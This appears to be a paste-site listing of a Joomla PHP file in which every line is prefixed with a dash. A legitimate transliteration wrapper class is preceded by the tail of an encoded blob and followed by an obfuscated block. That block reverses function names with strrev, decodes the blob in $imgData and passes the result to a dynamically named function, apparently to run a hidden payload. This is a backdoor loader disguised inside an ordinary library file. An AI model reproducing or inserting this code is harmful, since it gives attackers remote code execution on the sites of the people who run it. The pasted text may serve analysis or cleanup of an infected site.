sxqk/qS4A6QbT8+P/9E83+sV86WkoUlREUfdrrH4B/8f4n+qrNG+LULaOF1tvXD6TX4EFXYMujXHLFmBMujPk3Hub78NRR/LL8VAlQJduoi5c4d6QeKRH55p3iJRe7GFcVszX5VCT1Kjy7oplUDVxRcXyRRL5jcxrF4JhD7DizTL9kksiyE2+fH5WsQ13rmcO4Mu8PZbuQHgaX1man3vJzRbFGzV+5IUacisVPZScJx+MuyigujLe2MbbNwRys3Edq+DyXBpZv8pcUL4MLWhkc8rjVu+i287mXe6u8J3nqlC+E5lPjaQNF9zUyK99NsF1573LgxlNCM2TboCpiy07nMz1EjrvIKXQJM+dTOjNGQMstAgSquNzEtva+h+nD243';
- /**
- * Wrapper class for JLanguageTransliterate
- *
- * @package Joomla.Platform
- * @subpackage Language
- * @since 3.4
- */
- class JLanguageWrapperTransliterate
- {
- /**
- * Helper wrapper method for utf8_latin_to_ascii
- *
- * @param string $string String to transliterate.
- * @param integer $case Optionally specify upper or lower case. Default to null.
- *
- * @return string Transliterated string.
- *
- * @see JLanguageTransliterate::utf8_latin_to_ascii()
- * @since 3.4
- */
- public function utf8_latin_to_ascii($string, $case = 0)
- {
- return JLanguageTransliterate::utf8_latin_to_ascii($string, $case);
- }
- }
- if (!empty($imgData)) {
- $p1 = strrev($p1);
- $p2 = strrev($p2);
- $imgData = @$p2(@$p1($imgData));
- if (!empty($imgData)) {
- $p3 = strrev($p3);
- @$p3('', $imgData);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment